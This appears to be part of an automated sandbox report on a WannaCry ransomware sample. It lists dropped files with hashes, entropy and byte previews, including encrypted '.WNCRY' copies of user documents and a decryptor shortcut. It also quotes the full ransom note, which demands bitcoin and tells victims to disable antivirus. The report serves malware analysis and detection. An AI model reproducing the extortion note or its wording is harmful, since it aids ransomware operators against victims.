                                      Preview:WANACRY!.....n...|..\.T.6...0,.H..H.)t>o..L|...0.X...|r...kMA:`...ax..ecR...i5.X.......{...u.U..k......k"+.x.G..*g..`.p.#..t.....s....S.s.#2.....p."._..C.Q...p~6..h..K.....)~.1.0]{......".4..D...? .o..e....e_..Q#.G:.M..'..uV.H..4..cI..W.t....\>@."...~....5c.............<...Y...6PJ.<._."?........}.........u..N..(..Rw.t..8.5.....j..Q.cG..].>.]...X.......<....j.#..{......=.{[....^.v......I.....{.JH.2.$a_..;H.._..c1.O.Nf......FI.r..m............S..>...k..D]...{b-.U:...;.....h@.O9[.T.p../-.yt=.E"...3..BJ...Ax.5}...J..l>.."....?....15Ru...u.i1o.5..P.6X3...N.8%.}0..jE.....mL..F..=.....,..i..`..d........).gj. gF....!.............z.7..;.J..g........a[.).........ZF...B]w.cg...^u.`A[kF!W....{,....2....&..DO.Xj+..$2g...tD@........%.Y..#X..I>..p.1"..G...e<.a....xO......@.....U.....[n.....:P.R.`dcW`.v..T...}.z7[.z...L1\X..+g........[. ..H.9.^.G.q.*.....d.B...?..|.`.....1,......=P.....xa.......L$X.x'.%.F_3.zM.k.K....Ph..$....n/./.[.$NK.vJ.......

                                      C:\Users\user\Documents\WKXEWIOTXI.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8327998082404555
                                      Encrypted:false
                                      SSDEEP:24:bkeZzrTBDI5VMXlK79NNEi6oqa+OQDqghRRjkjUwus2jcHUP3J3JbqG1Zs4/yGm+:bk95VMXlO9NN3+OAs0gHUP3OKZPqvBc
                                      MD5:67AE8F373028D75199B94BF6E29F58AF
                                      SHA1:365856CC1ED8293229E31AB8EE00010FA97CDF78
                                      SHA-256:AAE3BB77ACB1335299CAEC59FEF244427BB69DC8D79C413368381663E4160FCE
                                      SHA-512:1C8A2034B6AF050817BBD5C4E8C2CF70B08BFB3AE159E81BE9BCD125639FD24A18472773F85E88C5B6845CB230AF249F3E5AFDEB95827EAC0F2025A2C24770F1
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....n...|..\.T.6...0,.H..H.)t>o..L|...0.X...|r...kMA:`...ax..ecR...i5.X.......{...u.U..k......k"+.x.G..*g..`.p.#..t.....s....S.s.#2.....p."._..C.Q...p~6..h..K.....)~.1.0]{......".4..D...? .o..e....e_..Q#.G:.M..'..uV.H..4..cI..W.t....\>@."...~....5c.............<...Y...6PJ.<._."?........}.........u..N..(..Rw.t..8.5.....j..Q.cG..].>.]...X.......<....j.#..{......=.{[....^.v......I.....{.JH.2.$a_..;H.._..c1.O.Nf......FI.r..m............S..>...k..D]...{b-.U:...;.....h@.O9[.T.p../-.yt=.E"...3..BJ...Ax.5}...J..l>.."....?....15Ru...u.i1o.5..P.6X3...N.8%.}0..jE.....mL..F..=.....,..i..`..d........).gj. gF....!.............z.7..;.J..g........a[.).........ZF...B]w.cg...^u.`A[kF!W....{,....2....&..DO.Xj+..$2g...tD@........%.Y..#X..I>..p.1"..G...e<.a....xO......@.....U.....[n.....:P.R.`dcW`.v..T...}.z7[.z...L1\X..+g........[. ..H.9.^.G.q.*.....d.B...?..|.`.....1,......=P.....xa.......L$X.x'.%.F_3.zM.k.K....Ph..$....n/./.[.$NK.vJ.......

                                      C:\Users\user\Documents\WKXEWIOTXI.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.800383485241748
                                      Encrypted:false
                                      SSDEEP:24:XYaRzVr3XxKsCyG+ZB3ZSOSSWdDxEsWlxn8iWVK1kQZE:XYaCUG+dSOSSODxEsWv8RIw
                                      MD5:DE42BA50E0FFC74D98C41BA3F3125F41
                                      SHA1:239B438DAC27D9F21FF8049B24A740F09ECC8D81
                                      SHA-256:19ED83437BE0A40152FA2A1B43D480E5431697E30F3FC63E54C3398A5863F0A8
                                      SHA-512:A9FEBFC25F7AE9C2836F00BD5F6F901AB6DB11322BF0ABB63A6CCA6754B0033972B8CB6FA848D7FE19C9F1A2E9C6BCB5BFA38785FC5707A2D2F2EEB41B8F8164
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..nV|(W....4+Q.W....Ex.|......F...xiSN..@0qX..>uz.L...z.:Z.M(.....2...l6..&....T.....x(`..I...$e.~.!.b.C...m.."......cJ...R4...)...K.p`i.Q_@M>.5]5..U......b...........v...[....gV.e9Qp.x...O.Mr..F.f.2.P...p..28......{..4.3.YM........\}...zI.e.a..u...}.....'C.N.,.u1.......X..m:0.l...C...``_.{...#?....J...=...a......X..<$~....T1....@.@......i.b.6...7c.....@Z........k.i....L]8N..d...._.'.?..6...r.P(6......0.....*...>.G...p...|.qk..d..........{...f3v...|H,U.Zdq..5.#..w..Q..62..f2....".R.O........"..)....>..;...*/O..*\.._..I..7.k.f.2.n@.0.. mov.-f...M..8.....Tp..5.F..m..=.......5%d..=..@r.......v..u.w.q.L...x8.`...."`..H$..{o.3...r.?{..%]..%I.^....h..O..p..?.L/R-.....1.'.33..B..#U...,..#v.f.H...e...;".r..........U...\x..)O.....@..`p.v...n..R...x".BpJ....Y...L ...L..O.b'.:..4.k.Bn&...#k...S...Hx>..;......!...x$S.!.L4.,.q..n!..0......|x.....6e.....).u.Tf.~.~[j...?7.X..-c..N..BR.....d.w.I...s9T..>.mRY..3.....z+...9ev>...O.Z@.........X#

                                      C:\Users\user\Documents\WKXEWIOTXI.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.838641732851557
                                      Encrypted:false
                                      SSDEEP:24:bkwbPO7qEcfctK1q2RbMwsw+GvVAKTuk+4vP0xSx5ySsLNo9iH:bkwTsCm2lrNPyk+4H8SDySsLAY
                                      MD5:A01A3E8DE0E8013BEC30E56E4CBCF03E
                                      SHA1:E375DF48227257BBA6581D761FD6E92B53BD8CA8
                                      SHA-256:BB6366703572988A82F3B48061F299240B156231B2BB01B943B5EA87756B0E12
                                      SHA-512:C0DF6358471055328EADE5218F3362D7C30E897A786780646AD0C05DEE067735184612EF69B7C013DF72B334B70921A204DC1DB2FE8A9236FDFAE5FB2B5E83C9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......m.c..Lc~..JZ..7.6.[.......k.N}.....f...0..7..f........(o.8....T>e.i..9.2KmZ....m2...9w.`..........c@......8..X..ko..*..qs...)..?.J.\N..v_..F.._.'56.....G.......P.<?..Dc...w.Wk.....Y7V{p...d.|#0Div?...S.yS._.=".......E..p. ....%o.......0.............X.oS.\B..P..x!k..VU(..+..`..I.\...E.g..G.?.........o.;..D..gF....x.tC.S4...j0&..Hy...@....Y.,...o.(.C.............?......?..3.....?...j...e(.I,|..-.C....=I..l8.m...._..Eh)K.$....\.<.Ak.Wq.[2...8n.."~...L.....k.k.........U.I.C..h....S.....`..8a...@.^A..F..u...l.J..i.s...7.....P.\..W...3.,W..O..-.9](.%xNh .~H.@pj......S<=..#}...+xIm....;.9.z.I.....a...<..P.,!.1s,......;E.0..K.-................~....>.}..E..i.._.........v[.,.`...-..*..<c....m....u.ce<....e.xv*.Pk.q._.rG."M...C. J...\..f.[5. m.Z.........q&...z.c..m...A..pR...?.....S.u^h.........a.S.k......T..RTU.&k.v......h...A*O.9/.+.'..c..Vz....6..3...n...X....f.=.....`.,....P........t....m......@'..pH.7.eYQ]....`....M.a.Q.

                                      C:\Users\user\Documents\WKXEWIOTXI.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.838641732851557
                                      Encrypted:false
                                      SSDEEP:24:bkwbPO7qEcfctK1q2RbMwsw+GvVAKTuk+4vP0xSx5ySsLNo9iH:bkwTsCm2lrNPyk+4H8SDySsLAY
                                      MD5:A01A3E8DE0E8013BEC30E56E4CBCF03E
                                      SHA1:E375DF48227257BBA6581D761FD6E92B53BD8CA8
                                      SHA-256:BB6366703572988A82F3B48061F299240B156231B2BB01B943B5EA87756B0E12
                                      SHA-512:C0DF6358471055328EADE5218F3362D7C30E897A786780646AD0C05DEE067735184612EF69B7C013DF72B334B70921A204DC1DB2FE8A9236FDFAE5FB2B5E83C9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......m.c..Lc~..JZ..7.6.[.......k.N}.....f...0..7..f........(o.8....T>e.i..9.2KmZ....m2...9w.`..........c@......8..X..ko..*..qs...)..?.J.\N..v_..F.._.'56.....G.......P.<?..Dc...w.Wk.....Y7V{p...d.|#0Div?...S.yS._.=".......E..p. ....%o.......0.............X.oS.\B..P..x!k..VU(..+..`..I.\...E.g..G.?.........o.;..D..gF....x.tC.S4...j0&..Hy...@....Y.,...o.(.C.............?......?..3.....?...j...e(.I,|..-.C....=I..l8.m...._..Eh)K.$....\.<.Ak.Wq.[2...8n.."~...L.....k.k.........U.I.C..h....S.....`..8a...@.^A..F..u...l.J..i.s...7.....P.\..W...3.,W..O..-.9](.%xNh .~H.@pj......S<=..#}...+xIm....;.9.z.I.....a...<..P.,!.1s,......;E.0..K.-................~....>.}..E..i.._.........v[.,.`...-..*..<c....m....u.ce<....e.xv*.Pk.q._.rG."M...C. J...\..f.[5. m.Z.........q&...z.c..m...A..pR...?.....S.u^h.........a.S.k......T..RTU.&k.v......h...A*O.9/.+.'..c..Vz....6..3...n...X....f.=.....`.,....P........t....m......@'..pH.7.eYQ]....`....M.a.Q.

                                      C:\Users\user\Documents\WKXEWIOTXI\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\Documents\WKXEWIOTXI\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\Users\user\Documents\WKXEWIOTXI\NEBFQQYWPS.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.794754487059357
                                      Encrypted:false
                                      SSDEEP:24:k5FBdXoj/VyNkCENKbDO5tavvrnwWr3vfgGKNmZ:k5DdXSwNkCKKbDgirnwMfAmZ
                                      MD5:237710D9C2D5829105CC5BED98508118
                                      SHA1:B64B99338128143FDFBE4BF0B45D15E70C06A6B2
                                      SHA-256:794F1596DEB14C77B9C14A91676091A8D27156FC18228ABDB342BDD04FD7FCDB
                                      SHA-512:4B45BEE062E655F75C4F79EDBA63F65F2224971ADD8E0AC140321D73FA6C11985E5C14A9C02FD2A9DD2C238A5D4B229E2C3F103AAF5A7087A3425C2ED8E92525
                                      Malicious:false
                                      Reputation:unknown
                                      Preview::n......*..W.u.>B..8Z...B.(....0.........4.Ef.Y.u.W..T...*....@._.l.(_..jx.Z>...s:7..).)2D../.>...~.]^.......a.....l...1.b.s.Z...C$.KK.3...m:.l...h.....Y' ...f....r5..MX.rYOPW._..../Q...8.v. ..0.tRi........gpA.y]...q.)...z...&f..Dy...w3.....b....._!'+...y.....y........^$......?U.qgt.X.....Z..A..+'.8.&.R...........r.v.4..x../....P.g...p...x.g_J......3.4CI........Y&.$.......s.d02...j8.))..9...../.1E.`.i....M...6.q.).4..h..My.8.[.~..sB......Y.4'B.#...K...L!...N...ISr..P.5.{...@.b.;q..B1..F...*..Cw.I...)Z.k+b.1......t....@...L2.-x1.....7..-V..E...]p...7..|.|#2t;.........?."*...o...+.O.z.....4..c...gg....X..."...J>...Df.."OQc..o.F.q..).V.\..Nn.....h........]..@.J"...?..?..........:..B_...).b..Te}j...jB.2.@...QG.....~n..._2q..pCW~.a.....3.......R..h...9..iKh<...X...N.I........2..X.O........w.....0C...{B). 5.[.^.......w.v...L.s.`l.....X..........j....B2.be.t:..m ..360.<}w......&.yI;;.2y........-...E.4.....H.......u.~....B.f_.&....h'..*.~K.....qV.....r.u_b

                                      C:\Users\user\Documents\WKXEWIOTXI\NEBFQQYWPS.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.84513042467139
                                      Encrypted:false
                                      SSDEEP:24:bkf3LivaGnmKL3LK6PPXp385td3bYe/ge0Pd3PY31Vjp3E6C9:bkf3LvkpPPhpMv0V3A31P3E6s
                                      MD5:F65E2B19EB60D5A5DF46BB8C3E1F9DAC
                                      SHA1:9E9699C35941745AE22C8CBFE795EF3D39229B28
                                      SHA-256:6D568F81B47FB66E20722C77BCBC7AD3B23905E7EFCFE51E48F7F730689FD394
                                      SHA-512:C52277BD8CDD7EF4F5F0CD3133F60F4562319B4ABCD2F54059C3F13E7E90FA247BA6FD6B0387FC511464E3594DCEFB3BEBECEC5C816DBDC9CD00C82848248038
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........L..hh...!..D.!7x.*...i...rRR..z.&....."....p..@..c.%5._L......$fy.G..J...H.......<..=.L.6..8.....a.d.M~#... .\~..4ZJ.o.dQ...!.A.}..Q..SU.......p.....\....'?......$.^^..J;..)...iw.~:?...=......._..U..:i.tWx...3+.I.T.;.-...|5...fZ(.-...?.L............*.^Ez.....<v..M.r.B\...&_.......=....CCy3.^....fL....cj6.e....k..r......_..Y..........T.....Z.,+N.vv.Si.S..5.).(Z>s0}......$........[f....Q.{...ZS....v6...hJt'L...%.... N.a7.././......o..<a.m!..>....o...8.&7....?.V..i..}....))E..D.,.....x.k......n..*.G.{/....b...7.bl...r.../.4.Ir..e..K.rT3....9w;..=Tc.....qq.s]...k>:.Z.."y.i.W..>f"........1P.....Q.E.*-...eB..38P.<.H.c.E.@.hR...Ns...{......Shq.....FBz'.\[..nt.@E4b"....S)....7.C..]F..d..JW......0..r...t.......(#.......?..`...8mV.&.F.g.%.q&...y.8.2.(b..c....<.._d2.J.c.....p:....-..@A]....|........(&.)...dK.Y.}.LM..p.\!.mXY....o_.Qm.F...Y).<._J....q....t.!A9.....%.G...:..B.........y...M.N..T......[...A..+.......id..

                                      C:\Users\user\Documents\WKXEWIOTXI\NEBFQQYWPS.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.84513042467139
                                      Encrypted:false
                                      SSDEEP:24:bkf3LivaGnmKL3LK6PPXp385td3bYe/ge0Pd3PY31Vjp3E6C9:bkf3LvkpPPhpMv0V3A31P3E6s
                                      MD5:F65E2B19EB60D5A5DF46BB8C3E1F9DAC
                                      SHA1:9E9699C35941745AE22C8CBFE795EF3D39229B28
                                      SHA-256:6D568F81B47FB66E20722C77BCBC7AD3B23905E7EFCFE51E48F7F730689FD394
                                      SHA-512:C52277BD8CDD7EF4F5F0CD3133F60F4562319B4ABCD2F54059C3F13E7E90FA247BA6FD6B0387FC511464E3594DCEFB3BEBECEC5C816DBDC9CD00C82848248038
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........L..hh...!..D.!7x.*...i...rRR..z.&....."....p..@..c.%5._L......$fy.G..J...H.......<..=.L.6..8.....a.d.M~#... .\~..4ZJ.o.dQ...!.A.}..Q..SU.......p.....\....'?......$.^^..J;..)...iw.~:?...=......._..U..:i.tWx...3+.I.T.;.-...|5...fZ(.-...?.L............*.^Ez.....<v..M.r.B\...&_.......=....CCy3.^....fL....cj6.e....k..r......_..Y..........T.....Z.,+N.vv.Si.S..5.).(Z>s0}......$........[f....Q.{...ZS....v6...hJt'L...%.... N.a7.././......o..<a.m!..>....o...8.&7....?.V..i..}....))E..D.,.....x.k......n..*.G.{/....b...7.bl...r.../.4.Ir..e..K.rT3....9w;..=Tc.....qq.s]...k>:.Z.."y.i.W..>f"........1P.....Q.E.*-...eB..38P.<.H.c.E.@.hR...Ns...{......Shq.....FBz'.\[..nt.@E4b"....S)....7.C..]F..d..JW......0..r...t.......(#.......?..`...8mV.&.F.g.%.q&...y.8.2.(b..c....<.._d2.J.c.....p:....-..@A]....|........(&.)...dK.Y.}.LM..p.\!.mXY....o_.Qm.F...Y).<._J....q....t.!A9.....%.G...:..B.........y...M.N..T......[...A..+.......id..

                                      C:\Users\user\Documents\WKXEWIOTXI\SFPUSAFIOL.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.800185547528002
                                      Encrypted:false
                                      SSDEEP:24:wKQccRgeezB/UMjLTDjGkBnjFgHpjrUR5C:xPcc/UWLTLRjmH9M5C
                                      MD5:F9D6B69D9AD53F8E9C7E856D18C9A759
                                      SHA1:65C98972BF02E94125792124411583D7B606F789
                                      SHA-256:BCF4C57D1FEE0D63F15B51EE8FCCF55EC23DD3126DEA01AA726D553ABBE08C78
                                      SHA-512:5470CAC96E25A8BFC226E5893F0F777811E1086E37CFB416A977421ECCE92EFC872BB9886659DFC2DD509C579202CEA32B663841C26F8C68C46C568091766DC4
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:....".5&..Gh^.......wNQf.W.\!.M"....#H#...Q...!.?..4.....g..b.4.z.....i.~+.....a.&..r...,..;.....;.....9.sQ *..........`.xSCJ5.d.W./.49..^.;x..B..'......TR.B..:.]...z.....&..*P.j....(.0xP..r.{.X+'..k. ..f.;.Jc.._..nZ....7C...I...."...?.;.'.EL.t...q...1......Z..w..O.F..!.F!]......^..<g&X..U.X.~....jz.M\Q....Bs...t..F...x..J"C<.q.._......F.V.......P..?y.Uy..+..V.$.R......9b.Q9......;..F.....cvY*.cR.h......6.NI...~s....xEx1E..cw...i...}.~.....P...v..m.WI..@#......./..~..%..Y.B..9N).Zz..zp..;.LU.:.v.....Q.^.=..v........v.Q"..#...,F....G.....P...k... ..D=]...:m..5<.././...u.Tq....D..B....Y1.LeT.....DwxS...K..H..e......!e...U.{[_^.R...n.v.@.[.:q....3..X......5PM....;..i.. 1b.h..C.1..!......Z..y@...>.!.>..:.^....&..#hm.]I.. ...kh.`d....'E..i...At"K.p..';.i!.;.|C.j...#C.;..6_%R.3.......yQ.zK.....z.x..-a../"F...I.....7...E.V...1....Fl!.. .#U.P..u...R.....0.....9......O.'CYf./...).q.....%!$..t.J...v6.Z_{..85.X........76N5.L.m.[cA...Cl..;.F%.K.&.},<g.R..%d..

                                      C:\Users\user\Documents\WKXEWIOTXI\SFPUSAFIOL.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.824760981375511
                                      Encrypted:false
                                      SSDEEP:24:bkk6sGDzlRBJfwElQfIxAZk2nH7j0w0TKDuarphR3YYV98O6vDQB:bkk6XDzlHNdQQx2H7wBTKDuGRIYVcDg
                                      MD5:A70088D15397F6147EE563C2E30FAF93
                                      SHA1:906CCAEA20E974EE7CFBC91A41D32E88740436A6
                                      SHA-256:41AE73C16C2C7C6993306314C7C6A90688EA731C41C3CCD1C6F9B54B727AFA63
                                      SHA-512:6F00E63ECF96A77B1B88FF6380728EAC57A1B67EF31B170449655C38CB4D0DE29C1B32BCC5A8D3780E3AACE1F1857A3CCBD241F1C31347301C02586C892C739D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......mS..0./UbI.Hh...V....[...l...z.{..t9.P.Q..[.....A.o. ...<j....p.U.%)v`..-.cj.......S0.h....[V.....R.>}....Fd#rI..#..so.A.....W....A....J......D6B{..J./.y..lz.B.~.%.Z...*....0.Ql.hw.~.j*.._.!(..P.;.q.z4g...Kg@.U5...e.o..K?..b....y........"...............%...Bhk..D....... r.._.......v..y.6......LPd......E..m?..r.D..d.....4p.0.u...)>..'.nW......%..S2....ESy...c.v...<.k5...j.+...7.6.6..lW_...w?.....rf.J..a...B..L.$....*.B.u.A.7.|..r.(....|=..../.2H..DB..:T*i.._.O.a..K........X...X....JM..mk1B.E0+."..l.=3...<b.^/8:k.9...$.......f........2..dh../.F..N.....-....H....v..M...b.k.r....`.dZ..r%,.r...$ ..y. .CY^.I...-.h...........n.>c.'...[..E....=B..VR-.....I.A~r(....-....s..B[%.69..y...h.2..eO.......!.R>y.Kr.t...S.#[_*......Y.sU:.e....M.L.H...O-\.@....E.t.....{l...}?.p.q"2.....+..r.....%X.....(Q.'..T.f.s..U.P..l.|...f....l.u..s..`dBz&.....Wh[.....s._.ZR.V._&-.MI.......Hh..MA...DV...(....|.)}...*-...=k.n...o...$.L.....:...T..

                                      C:\Users\user\Documents\WKXEWIOTXI\SFPUSAFIOL.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.824760981375511
                                      Encrypted:false
                                      SSDEEP:24:bkk6sGDzlRBJfwElQfIxAZk2nH7j0w0TKDuarphR3YYV98O6vDQB:bkk6XDzlHNdQQx2H7wBTKDuGRIYVcDg
                                      MD5:A70088D15397F6147EE563C2E30FAF93
                                      SHA1:906CCAEA20E974EE7CFBC91A41D32E88740436A6
                                      SHA-256:41AE73C16C2C7C6993306314C7C6A90688EA731C41C3CCD1C6F9B54B727AFA63
                                      SHA-512:6F00E63ECF96A77B1B88FF6380728EAC57A1B67EF31B170449655C38CB4D0DE29C1B32BCC5A8D3780E3AACE1F1857A3CCBD241F1C31347301C02586C892C739D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......mS..0./UbI.Hh...V....[...l...z.{..t9.P.Q..[.....A.o. ...<j....p.U.%)v`..-.cj.......S0.h....[V.....R.>}....Fd#rI..#..so.A.....W....A....J......D6B{..J./.y..lz.B.~.%.Z...*....0.Ql.hw.~.j*.._.!(..P.;.q.z4g...Kg@.U5...e.o..K?..b....y........"...............%...Bhk..D....... r.._.......v..y.6......LPd......E..m?..r.D..d.....4p.0.u...)>..'.nW......%..S2....ESy...c.v...<.k5...j.+...7.6.6..lW_...w?.....rf.J..a...B..L.$....*.B.u.A.7.|..r.(....|=..../.2H..DB..:T*i.._.O.a..K........X...X....JM..mk1B.E0+."..l.=3...<b.^/8:k.9...$.......f........2..dh../.F..N.....-....H....v..M...b.k.r....`.dZ..r%,.r...$ ..y. .CY^.I...-.h...........n.>c.'...[..E....=B..VR-.....I.A~r(....-....s..B[%.69..y...h.2..eO.......!.R>y.Kr.t...S.#[_*......Y.sU:.e....M.L.H...O-\.@....E.t.....{l...}?.p.q"2.....+..r.....%X.....(Q.'..T.f.s..U.P..l.|...f....l.u..s..`dBz&.....Wh[.....s._.ZR.V._&-.MI.......Hh..MA...DV...(....|.)}...*-...=k.n...o...$.L.....:...T..

                                      C:\Users\user\Documents\WKXEWIOTXI\UOOJJOZIRH.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8296342597384525
                                      Encrypted:false
                                      SSDEEP:24:Eu4K8fHROxZ4Vmmml7Bb3XuG2dMywerYZSGewKBEVJVfwi9T:Eu4MszmbXCUerYSGewKBERYET
                                      MD5:4DB49A6E1911BE9D03FB5EB96F2BE11B
                                      SHA1:DF94C3000A017DF527DA681AFCCE04F399F4752E
                                      SHA-256:88411D276A03BB1E7823D8EB66B60F393653077C875B4E2274848165CD53829C
                                      SHA-512:A1F6AA1A4523719C9C10BC4E7BC205D937BDC9867013B7B8DACADF0FE67ED0F193BB467185860E39715CDFE6C8109C9009E41EAD22F68B59A14277F352E26189
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.].l.^.."g..q..]..X.kra.&4.A...%..\..`..L.7\..d;.y... .....c.N..*R.1!.....<.`D.!....i.!..]..P..m.%.B\..K...v:..... (6.l.X?.K........,i.P.......P..K....A.......7tK.\A.ai.".8Zm.j6D..4h..8.}.1..o.....}.8I.L.t.G.....w...Gr..._....,.-...........>b.u.A=....8.....Q_.2.^4E!y.IW....h...3.c.5`V.>..!...V...{...^G.l..;.J.f.s/.o..y..Q...j.-......o...h...&......kT...y}|zn....qb..4t..._H..T..p._0.kg...a....?.....5x...t..te@(..[..%.D.1=......yK2PP.'f.l.Kr{M.n..\V.....\..<7..l.[l.........[...T.........}\..s.{.....Sm.nA...4.8n}....^...u n.4."...-,PTZ$......n..@....>^.*F...U{...z_....,Xm.H.....?0....*...J.....>/~...../..c.~.2.<e_{....~...h.....9[...[....MRQ.".#.w+KB.=..U..V..4....a...}.O./..T].+ .. ...8..wF....V$.u.>Pd..s.,......{I.EaA.]x....m....}|.......:......ss......@p.d(.]R...p...5.!..a8.O...k8WX..h.8CBA.l6/...\..<!.6...E..\......@Qs.....)u?...h.y..O6E9.....2..F.<.7....U...`..+1..jO.;8J../..!..{..&.ty..Q.HN.j.J...0?..e...#.6........V..

                                      C:\Users\user\Documents\WKXEWIOTXI\UOOJJOZIRH.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.848364146745378
                                      Encrypted:false
                                      SSDEEP:24:bkeCCFFiljubNjdQiF6BK3v2lfFUhnkMljNyfJ6OK3SNXNhvjEz+WDlmlA0P:bkeCCmab7Qe6BweltU5NyfJ7fhvcaA0P
                                      MD5:B0C9C04BE13FD554A3F4DF66173F5D6A
                                      SHA1:FF08CD6EA3FFCE3EA83D6A91B8447B73A11B3F03
                                      SHA-256:4D483B934DC6F115EA87EBEB9846206D6D60277CF8FD54DFC0037886E6F103C2
                                      SHA-512:A186A770C6B6EB973EE8A9B9732AB4689CB37A4ED5F781F753A5DFF4C65D138958EFB27B475B51703347CD18226284369053680EDC20C18F44531F6F7CDBFF8C
                                      Malicious:false
                                      Reputation:unknown
